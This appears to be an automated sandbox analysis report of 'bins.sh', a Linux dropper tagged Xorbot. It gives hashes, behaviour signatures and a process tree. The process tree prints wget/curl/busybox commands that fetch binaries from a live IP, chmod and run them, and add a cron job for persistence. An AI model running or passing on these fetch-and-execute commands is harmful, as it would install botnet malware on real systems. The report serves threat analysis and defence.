Analysis
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max time kernel
150s -
max time network
114s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
04/12/2024, 17:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
26c147f3c53daa20ad5513d299f09a9b
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SHA1
dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199
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SHA256
c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570
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SHA512
e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78
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SSDEEP
192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H
Malware Config
Signatures
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resource yara_rule behavioral2/files/fstream-1.dat family_xorbot behavioral2/files/fstream-3.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 763 chmod 792 chmod 799 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem 765 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI 793 XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv 800 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv -
Renames itself 1 IoCs
pid Process 801 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.rHLO4U crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/827/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/28/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/306/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/664/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/790/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/807/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/809/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/820/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/filesystems crontab File opened for reading /proc/18/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/280/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/666/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/819/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/448/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/self/auxv curl File opened for reading /proc/26/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/27/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/29/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/42/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/75/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/138/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/7/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/136/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/219/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/622/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/810/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/25/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/105/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/147/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/815/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/107/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/278/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/785/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/816/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/5/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/6/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/11/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/337/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/828/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/808/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/1/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/3/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/16/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/108/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/404/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/665/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/670/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/814/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/10/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/20/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/275/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/822/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/self/auxv curl File opened for reading /proc/2/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/12/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/19/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/22/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/447/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/812/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/8/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/21/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv File opened for reading /proc/826/cmdline GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI wget File opened for modification /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI curl File opened for modification /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv curl File opened for modification /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv busybox File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem wget File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem busybox File opened for modification /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI busybox File opened for modification /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv wget File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:667
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/bin/rm/bin/rm bins.sh2⤵PID:669
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/usr/bin/wgetwget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:674
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/usr/bin/curlcurl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:693
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:699
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/bin/chmodchmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- File and Directory Permissions Modification
PID:763
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/tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Executes dropped EXE
PID:765
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/bin/rmrm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵PID:768
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/usr/bin/wgetwget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵
- Writes file to tmp directory
PID:769
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/usr/bin/curlcurl -O http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:788
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵
- Writes file to tmp directory
PID:791
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/bin/chmodchmod 777 XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵
- File and Directory Permissions Modification
PID:792
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/tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI./XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵
- Executes dropped EXE
PID:793
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/bin/rmrm XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵PID:795
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/usr/bin/wgetwget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵
- Writes file to tmp directory
PID:796
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/usr/bin/curlcurl -O http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:797
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵
- Writes file to tmp directory
PID:798
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/bin/chmodchmod 777 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵
- File and Directory Permissions Modification
PID:799
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/tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv./GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:800 -
/bin/shsh -c "crontab -l"3⤵PID:802
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/usr/bin/crontabcrontab -l4⤵PID:803
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/bin/shsh -c "crontab -"3⤵PID:804
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:805
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/bin/rmrm GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv2⤵PID:808
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/usr/bin/wgetwget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq2⤵PID:810
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD5c64e398d85b7278157095840474c2153
SHA18d23a32a25deda7cfb6e6c7c93fd0a1a2c7d15b4
SHA2567d9332322583b8a2d663f1d0b16f436db30e1f0ac17ba4fc57ae1f4dffc2e332
SHA51209aae61d39155cf92af8ed419a9f655be10a24b358c14e562334463ab12965a8d96f96cbd4296045e1686428a2c0ef4d0d7737e3ef7f22fceaeec735f7c61991